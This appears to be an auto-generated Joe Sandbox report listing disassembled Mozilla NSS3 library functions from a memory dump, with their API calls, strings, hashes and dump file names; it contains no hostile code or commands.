String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 89559da27d92e3754d244a4853cfcd3a5eed95962d58115994a400e62c0117ab
Instruction ID: 11f4ac00a53a6dff42d0eb6ae59bb5005772204ca2ea436228dc773d2b07b1ee
Opcode Fuzzy Hash: 89559da27d92e3754d244a4853cfcd3a5eed95962d58115994a400e62c0117ab
Instruction Fuzzy Hash: 68A138B2A56C8087F710873ECC0136832A6BB83369F588365EA31C7ED5FB75A440D796

Function 6CC15DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC15DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CC15E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CC15E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CC15E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CC15EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CC15ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CC15F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CC15F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC15F89
free.MOZGLUE(?), ref: 6CC15FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC15FB6
free.MOZGLUE(00000000), ref: 6CC15FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC1600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC16079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC16084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC16094

Strings

, xrefs: 6CC15EEB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: c5563ca32031e317153216aca869ee1f8066943060bb140089e8afe14224b06d
Instruction ID: d07c5215371dbbced7cc295878a9a38f0ff1be1d75d04c826f15bac74f0418d3
Opcode Fuzzy Hash: c5563ca32031e317153216aca869ee1f8066943060bb140089e8afe14224b06d
Instruction Fuzzy Hash: 1181F4B5E082059BEB00CF66CC80BAE77B5AF45318F144128E91AA7F91F735E814DBD2

Function 6CC36D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CC36D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC36DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC36DC3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC36DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC36DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC36E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CC36E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CC36E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CC36EB9

Strings

ulDataLen = %d, xrefs: 6CC36E0E
*pulDigestLen = 0x%x, xrefs: 6CC36EB4
(CK_INVALID_HANDLE), xrefs: 6CC36DBC
pulDigestLen = 0x%p, xrefs: 6CC36E42
hSession = 0x%x, xrefs: 6CC36D9E, 6CC36DAE
pData = 0x%p, xrefs: 6CC36DF5
C_Digest, xrefs: 6CC36D81
pDigest = 0x%p, xrefs: 6CC36E27

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: fea16157dbb63bef93dd89a313636c64df9e0ba91cfd28e9cb7d465ed842b1ad
Instruction ID: 8432399a730c3fbb6838645c0fef3fbed26149532b672abc7a70570248be6701
Opcode Fuzzy Hash: fea16157dbb63bef93dd89a313636c64df9e0ba91cfd28e9cb7d465ed842b1ad
Instruction Fuzzy Hash: A641E735601114AFEB01DF55EC48E9A3BB9BB4234CF084055F60D9BB61EB38A81CCBB1

Function 6CC39C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CC39C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC39C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39CA3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC39CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CC39CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC39CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC39D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CC39D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CC39D42

Strings

pUsername = 0x%p, xrefs: 6CC39D24
ulPinLen = %d, xrefs: 6CC39D0B
ulUsernameLen = %d, xrefs: 6CC39D3D
userType = 0x%x, xrefs: 6CC39CD5
C_LoginUser, xrefs: 6CC39C61
(CK_INVALID_HANDLE), xrefs: 6CC39C9C
hSession = 0x%x, xrefs: 6CC39C7E, 6CC39C8E
pPin = 0x%p, xrefs: 6CC39CF0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: ebc075afc18da4a7a289923b4d037f4b12d3383294a4380191746033f2c3a6cd
Instruction ID: 51d742bc9591c29f2ddf87415b1c41570bb016bff8044bddd2f54fdf1fc9ecd0
Opcode Fuzzy Hash: ebc075afc18da4a7a289923b4d037f4b12d3383294a4380191746033f2c3a6cd
Instruction Fuzzy Hash: FA41F531A01154AFFB01DF55FD49EAA3BB9AB4334DF484055F60D6BA21EB349818CBB1

Function 6CBF1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CBF2007
calloc.MOZGLUE(00000001,00000084), ref: 6CBF2077
calloc.MOZGLUE(00000001,0000002C), ref: 6CBF20DF
TlsSetValue.KERNEL32(00000000), ref: 6CBF2188
PR_NewCondVar.NSS3 ref: 6CBF21B7
calloc.MOZGLUE(00000001,00000084), ref: 6CBF221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CBF22C2
GetLastError.KERNEL32 ref: 6CBF22CD
free.MOZGLUE(00000000), ref: 6CBF22DD

Part of subcall function 6CBF0F00: PR_GetPageSize.NSS3(6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F1B
Part of subcall function 6CBF0F00: PR_NewLogModule.NSS3(clock,6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F25

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: e6e60f9a98ae15cc038843087bc439558ab73ca4bb2f5be371b087bbd7b2e37d
Instruction ID: 3891fafd7d0909975d86755a7eea27f08376426a95da5003d1a9ca630581263e
Opcode Fuzzy Hash: e6e60f9a98ae15cc038843087bc439558ab73ca4bb2f5be371b087bbd7b2e37d
Instruction Fuzzy Hash: 129181B56017819FEB10DF79CC4976B7AF8BB0A748F00452DE69AD6B40DB709109CFA2

Function 6CD19C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CD19C70
PR_NewLock.NSS3 ref: 6CD19C85

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_NewCondVar.NSS3(00000000), ref: 6CD19C96

Part of subcall function 6CBEBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CBF21BC), ref: 6CBEBB8C

PR_NewLock.NSS3 ref: 6CD19CA9

Part of subcall function 6CCC98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCC9946
Part of subcall function 6CCC98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB816B7,00000000), ref: 6CCC994E
Part of subcall function 6CCC98D0: free.MOZGLUE(00000000), ref: 6CCC995E

PR_NewLock.NSS3 ref: 6CD19CB9
PR_NewLock.NSS3 ref: 6CD19CC9
PR_NewCondVar.NSS3(00000000), ref: 6CD19CDA

Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBEBBEB
Part of subcall function 6CBEBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CBEBBFB
Part of subcall function 6CBEBB80: GetLastError.KERNEL32 ref: 6CBEBC03
Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CBEBC19
Part of subcall function 6CBEBB80: free.MOZGLUE(00000000), ref: 6CBEBC22

PR_NewCondVar.NSS3(?), ref: 6CD19CF0
PR_NewPollableEvent.NSS3 ref: 6CD19D03

Part of subcall function 6CD0F3B0: PR_CallOnce.NSS3(6CD614B0,6CD0F510), ref: 6CD0F3E6
Part of subcall function 6CD0F3B0: PR_CreateIOLayerStub.NSS3(6CD6006C), ref: 6CD0F402
Part of subcall function 6CD0F3B0: PR_Malloc.NSS3(00000004), ref: 6CD0F416
Part of subcall function 6CD0F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CD0F42D
Part of subcall function 6CD0F3B0: PR_SetSocketOption.NSS3(?), ref: 6CD0F455
Part of subcall function 6CD0F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CD0F473

Part of subcall function 6CCC9890: TlsGetValue.KERNEL32(?,?,?,6CCC97EB), ref: 6CCC989E

EnterCriticalSection.KERNEL32(?), ref: 6CD19D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CD19DAF
_PR_CreateThread.NSS3(00000000,6CD19EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD19D9F

Part of subcall function 6CBEB3C0: TlsGetValue.KERNEL32 ref: 6CBEB403
Part of subcall function 6CBEB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CBEB459

_PR_CreateThread.NSS3(00000000,6CD1A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD19DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CD19DFC
_PR_CreateThread.NSS3(00000000,6CD1A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD19E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CD19E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CD19E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD19E89

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: f5af3a846da8e13ef3d91e6bf4f51fd0c939162e3465fae983f57d2332ead536
Instruction ID: 643d6237fd948eb56a90c60a6b616dd41600713e4b1754c2125c379811284c5b
Opcode Fuzzy Hash: f5af3a846da8e13ef3d91e6bf4f51fd0c939162e3465fae983f57d2332ead536
Instruction Fuzzy Hash: 13612DB1A01706AFE714DF75D884AA7BBE8FF48248B14452AE959C7B11E730E814CBE1

Function 6CC13FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CC14014

Part of subcall function 6CC139F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC15E6F,?), ref: 6CC13A08
Part of subcall function 6CC139F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC15E6F), ref: 6CC13A1C
Part of subcall function 6CC139F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC13A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CC14038

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CC1404D

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CD2A0F4), ref: 6CC140C2

Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC5F0C8
Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CC1409A

Part of subcall function 6CC5BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC0E708,00000000,00000000,00000004,00000000), ref: 6CC5BE6A
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?), ref: 6CC5BE7E
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC140DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC140F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC14108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CC1411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CC14137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CC14150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CD2A1C8), ref: 6CC1417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CC14194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC141A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC141B2
PK11_DestroyObject.NSS3(?,?), ref: 6CC141D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC141FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CD2A1A8), ref: 6CC1422D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 07f67507fcea0d874fadb80ef019a2ef5e17db36a05455e5cbdd2b92a19d71d5
Instruction ID: cfb383df71ae0ca04a97f7dc0fe942fbc8937f0d0817bcf4a01e6a3b55e153cc
Opcode Fuzzy Hash: 07f67507fcea0d874fadb80ef019a2ef5e17db36a05455e5cbdd2b92a19d71d5
Instruction Fuzzy Hash: 135114B1A083016BF710DA2B9C41B6776DCEF5025CF644528E959C7F82FB31E418A2A2

Function 6CC58E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58E9E
PORT_ArenaAlloc_Util.NSS3(6CD60B64,00000001,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CC58E01), ref: 6CC58EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CD60B64,6CD60B64), ref: 6CC58F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CC58F3F

Part of subcall function 6CC5A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CC5A421,00000000,00000000,6CC59826), ref: 6CC5A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CC58E76

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: e49f0cd15049e48d56033680e1449685d4b164c7040ec2c9bf55af2ee8c676ad
Instruction ID: 7540bd5cbe0ac98148ee8c13aeab3fbaae9efefbcbefba604dbca0876661a8ce
Opcode Fuzzy Hash: e49f0cd15049e48d56033680e1449685d4b164c7040ec2c9bf55af2ee8c676ad
Instruction Fuzzy Hash: 5B61A1B5D001069BDB10CF55DC80AABB7B5FF88358F544568DC18A7B11E732A936CBB4

Function 6CC08E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC08E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CC08E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC08EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD318D0,?), ref: 6CC08F03
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC08F19
PL_FreeArenaPool.NSS3(?), ref: 6CC08F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC08F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC08F65
PL_FinishArenaPool.NSS3(?), ref: 6CC08FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CC08FFE
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC09012
PL_FreeArenaPool.NSS3(?), ref: 6CC09024
PL_FinishArenaPool.NSS3(?), ref: 6CC0902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CC0903E

Strings

security, xrefs: 6CC08EE7

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: c374dc4d3d6f352dde7b07b38550e814d8acc84c61c706862f6fe18e2e038b88
Instruction ID: c199866fb7e5488f40bf5ae55b7f186c6f3d1c583dc544f0fcf286745f7024aa
Opcode Fuzzy Hash: c374dc4d3d6f352dde7b07b38550e814d8acc84c61c706862f6fe18e2e038b88
Instruction Fuzzy Hash: C4514CB5708200ABE7109B2A9C80FAB73E8AB8575CF44482EF55597F90F732D909C753

Function 6CC34E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CC34E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC34EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34EC7

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC34EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC34F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CC34F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC34F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC34F68

Strings

ulCount = %d, xrefs: 6CC34F63
hObject = 0x%x, xrefs: 6CC34EF5, 6CC34F05
(CK_INVALID_HANDLE), xrefs: 6CC34EC0, 6CC34F13
pTemplate = 0x%p, xrefs: 6CC34F4A
hSession = 0x%x, xrefs: 6CC34EA2, 6CC34EB2
C_GetAttributeValue, xrefs: 6CC34E7E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
